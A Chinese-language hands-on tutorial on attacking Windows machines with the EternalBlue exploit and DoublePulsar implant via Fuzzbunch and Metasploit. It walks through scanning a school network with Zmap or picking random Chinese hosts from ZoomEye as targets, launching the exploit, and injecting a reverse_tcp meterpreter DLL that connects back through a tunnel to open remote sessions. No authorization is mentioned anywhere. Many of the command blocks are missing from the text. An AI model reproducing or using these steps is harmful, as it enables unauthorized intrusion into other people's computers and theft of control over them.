手把手教你用永恒之藍(Eternalblue)勒索病毒漏洞的高階用法
安裝 MSF
Linux & Mac OS X

假如遇到問題,點開這個連接,然后自個想想方法……
查看是否安裝成功
然后輸入 msfconsole 看看裝置是不是成功了……

這樣的話就算成功了。
安裝 WINE 和 winetricks
Linux

OSX


安裝 Windows Python 環境

跟著 wizard 走完就行了……一路下一步。
復制工具包到 Windows 分區
默認 WINE 環境的虛擬磁盤在?~/.wine/drive_c
把那個工具包里的?windows?文件夾改個名字,復制到這里去……
比如改名叫 tools,復制到?~/.wine/drive_c/tools。
進入 Win CMD

如果這一步出現什么?wrong font?錯誤,可以試試安裝?fonts-wine?包,或者用?winetricks --gui,選擇默認 WINE ,安裝字體,勾上?corefont。
沒錯的話會出現一個黑框框,就是 CMD 了,先?右鍵 - properties - font?調整一下字體什么的,注意確定保存的時候選第一個單選框……調到你覺得好看的字體為止。然后:

試一下 Win 上的 Python 有沒有安裝好,如果沒問題就?Ctrl-D?退出。
修改 fuzzbunch 默認配置
到?~/.wine/drive_c/tools?這里,用文本編輯器打開?fuzzbunch.xml。
修改?ResourcesDir?為?C:\tools\Resources,LogDir?為?C:\logs。
運行 fuzzbunch
再次打開 CMD,cd 到 Python 目錄,然后執行:

如果出現這樣的話環境就算是配置好了:

然后可以暫時退出了。
查看網絡環境
本機上執行:

找到自己正在使用的網絡,記下 IP 和 子網掩碼。
安裝 Zmap
Zmap 是一個快速的網絡掃描器,反正就是收集信息用的。
Linux

OSX

安裝好了之后?sudo zmap --version?測試一下。
掃描子網
根據你上一步得到的 IP 和子網掩碼,掃描網絡。
假如你的 IP 是?10.128.129.45?子網掩碼?255.255.192.0,把子網掩碼按照下表換成數字,然后加起來。

所以?255.255.192.0 = 8 + 8 + 2 = 18。要掃描的 CIDR 就是?10.128.129.45/18
然后運行:

-B?選項后面的是掃描速度,根據你們的內網帶寬找一個合適的速度填就行。比如我們內網 100M,我就用一半的速度掃。
如果遇到 blacklist 的錯誤,可以去修改?/etc/zmap/blacklist.conf?這個文件,把需要掃描的內網地址注釋掉:

如果遇到?interface?什么的錯誤,就用?-i <interface>?指定要使用的網卡。比如你是用 WiFi 的話就?-i wlan0。
如果遇到?get-gateway?的錯誤,就先運行?netstat -nr?得到網關的 IP,然后運行?sudo arp -a <網關IP>?獲取他的 MAC 地址:見下圖:

獲取到網關 MAC 之后,用?-G?參數寫在命令行里即可。

OK,開始掃描吧,這時候等著就行了。
掃描完成之后?cat 445.csv?就可以看到所有開了 445 的機器了。
如果你掃描出來文件是空的的話……那說明你的網段可能太小了。
如果你是學生,可以考慮掃描一下全校網段,一般用?10.0.0.1/8?掃描的話應該會能得到一些結果的。
如果還是不行,那就用備選方案吧……
備選方案 - Zoomeye
如果你子網掃描出來的文件是個空的的話,你也可以選擇掃描互聯網上的機器。
當然這時候我們就不自己用 zmap 掃了,Zoomeye 可以幫助我們。
打開:https://www.zoomeye.org/
搜索框右邊的選項選主機,輸入?service:microsoft-ds os:windows country:china?Enter 搜索。
也可以加一個參數?city:beijing?來搜索特定城市的主機。
然后隨便選幾個 IP 寫到?445.csv?里去吧,一行一個 IP 就行。
漏洞檢測
現在用?msfconsole?打開 MSF,輸入?use auxiliary/scanner/smb/smb_version?注意從現在開始就不要復制命令了,最好都手打,要習慣用?Tab?補全。
前面的 msf 提示符變成?msf auxiliary(smb_version) >?就表示進入這個掃描器的上下文了。
輸入?options?查看可用的選項:

RHOSTS?表示要掃描額主機列表,THREADS?表示掃描線程數,一般填個 50 什么的就差不多了。如果你 RHOST 數量比小于 50 的話,你也可以填少一點。
用?set?命令設置選項:

輸入完后再用?options?查看一下選項,確認沒問題之后輸入?exploit,回車開始執行 scanner.

執行過程中應該會有很多信息輸出出來,等他運行完,輸入?hosts?查看當前獲得的主機資料:

OK,一個 Win10 一個 Win7 一個 WinServer 2008 R2。
Win 7 以上的可以不用考慮了,Win 7 和 WinServer 2008 一般來說是可以的。
如果你不放心,可以使用?auxiliary/scanner/smb/smb_ms17_010?這個掃描器做一次漏洞檢測。這個就不說詳細步驟了,當作練習吧,結果大概是這樣的:

嗯,他說 Likely 嘛,一般來說 還是選 Win 7 和 Server 2008 以下的主機當作目標吧。
OK 我現在就選那臺 Win 7 的?10.158.24.2?了,后面的操作都會用這個 IP,你記得換成你自己的目標哈。
Fuzzbunch 出場
用之前的命令啟動 WINE CMD,用 Python 打開 fuzzbunch:

- 第一個地方輸入你的目標的 IP 地址
- 第二空?Callback IP?隨便填,因為用不到,這里就填?127.0.0.1?好了
- 第三個很重要,一定?要填 no
- 后面如果你沒有項目的話就選 0 新建一個,你下次啟動想用之前的話就選 index
- 然后文件位置什么的就都默認,一路回車下來就行
看見?fb >?字樣的提示符就表示初始設置完成。
Eternalblue 攻擊
Fuzzbunch 的使用方法和 MSF 其實差不多。
輸入?use Eternalblue?載入攻擊模塊,同樣注意多使用?Tab?鍵。
和 MSF 不一樣,FB 會進行交互性的參數輸入:

如果上面的參數(主要是 IP)沒錯的話,也可以輸入 no 來取消交互式輸入。
然后來到這一步,攻擊方式一定要選 1 FB 方式:

然后繼續跟著交互提示走,Tunnels 部分直接一路回車,開始執行后門安裝:

如果到?Receiving response from exploit packet?這句話這里停住的話,大概率是打了補丁,你可以換個目標了。
如果是停在?Triggering free of corrupted buffer?這句的話,基本就成功了,等著就好。

OK,等了一會之后,Eternalblue 攻擊成功。
注意觀察一下這里寫的目標機器的 Arch 是 32 bit 還是 64 bit,后面要用。
TCP 隧道
這一步需要你有公網 IP,如果你沒有的話可以用 TCP 隧道服務來代替……比如各種基于 Ngrok 的隧道服務……
這里我就不教程了……你們自己弄好就行
我現在假設你們隧道服務商 IP 是?123.123.123.123,給你的端口是?8888,你本地的端口也開?8888,下面一步操作的時候記得把這些數字換成真實的。
提示
如果你是掃描校內網,而且校內網沒有對機器互聯端口做限制的話,不用 TCP 隧道也是可以的,那你就把下面教程里的所有?LHOST?填你自己的網卡 IP 即可。
MSF 監聽反彈端口
在 MSF 里,使用?multi/handler。
如果你要攻擊的機器是 32 位的機器:
set payload windows/meterpreter/reverse_tcp
如果是 64 位的:
set payload windows/x64/meterpreter/reverse_tcp
然后

LHOST 就填 127.0.0.1 就可以,因為上面我們用了隧道。
最后一個?-j?是將 exploit 放在后臺運行,暫時可以不用管了。
你可以通過?jobs -l?看到所有后臺任務。
生成 Shellcode DLL
在 MSF 里執行

上面的?{Payload}?換成你上個階段用的 payload,然后 HOST 和 PORT 也要記得換,{ARCH}?如果是 32 位就寫?x8664 位就寫?x64。
你也可以分別生成兩個 DLL 備用,反正以后攻擊到的 32 位 64 位都有可能。
然后把這兩個 DLL 復制到?~/.wine/drive_c?目錄下
雙倍脈沖(Doublepulsar)注入
切換到 Wine CMD 里的 FB 平臺,使用?Doublepulsar

然后就按照提示一路 Enter,Proto 選?SMB,x86?還是?x64?根據目標機器選。

這一步選 2,RunDLL。

DLL 位置選根據你的文件名填,比如?C:\x86.dll?或者?C:\x64.dll,然后繼續 Enter。

當你看到這個 Success 的時候,表示注入成功。
DONE
現在切回你的 MSF 看看是不是有些?sending stage?之類的輸出。
如果沒有的話就把 DLL 的生成檢查一遍看看參數有沒有寫對,然后再執行一遍上一步。
如果有輸出的就輸入?sessions -l?查看已經連接好的?meterpreter。
然后用?sessions -i <ID>?連上去:

OK 了!后邊的我就不教了,你能夠輸入?help?然后?Tab?看看有哪些指令。然后?-h?獲取協助。
然后?https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/?這里有一些根本的后浸透指令的解說。
其實到這一步,浸透才剛剛開始